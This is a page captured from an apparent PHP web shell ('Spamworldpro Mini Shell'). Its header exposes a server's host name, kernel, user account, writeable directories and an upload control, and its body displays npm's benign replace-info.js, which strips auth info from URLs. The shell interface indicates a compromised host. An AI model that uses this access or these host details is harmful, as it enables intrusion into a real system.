Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/.nvm/versions/node/v16.19.0/lib/node_modules/npm/lib/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/.nvm/versions/node/v16.19.0/lib/node_modules/npm/lib/utils/replace-info.js
const { cleanUrl } = require('npm-registry-fetch')
const isString = (v) => typeof v === 'string'

// split on \s|= similar to how nopt parses options
const splitAndReplace = (str) => {
  // stateful regex, don't move out of this scope
  const splitChars = /[\s=]/g

  let match = null
  let result = ''
  let index = 0
  while (match = splitChars.exec(str)) {
    result += cleanUrl(str.slice(index, match.index)) + match[0]
    index = splitChars.lastIndex
  }

  return result + cleanUrl(str.slice(index))
}

// replaces auth info in an array of arguments or in a strings
function replaceInfo (arg) {
  if (isString(arg)) {
    return splitAndReplace(arg)
  } else if (Array.isArray(arg)) {
    return arg.map((a) => isString(a) ? splitAndReplace(a) : a)
  }

  return arg
}

module.exports = replaceInfo

Spamworldpro Mini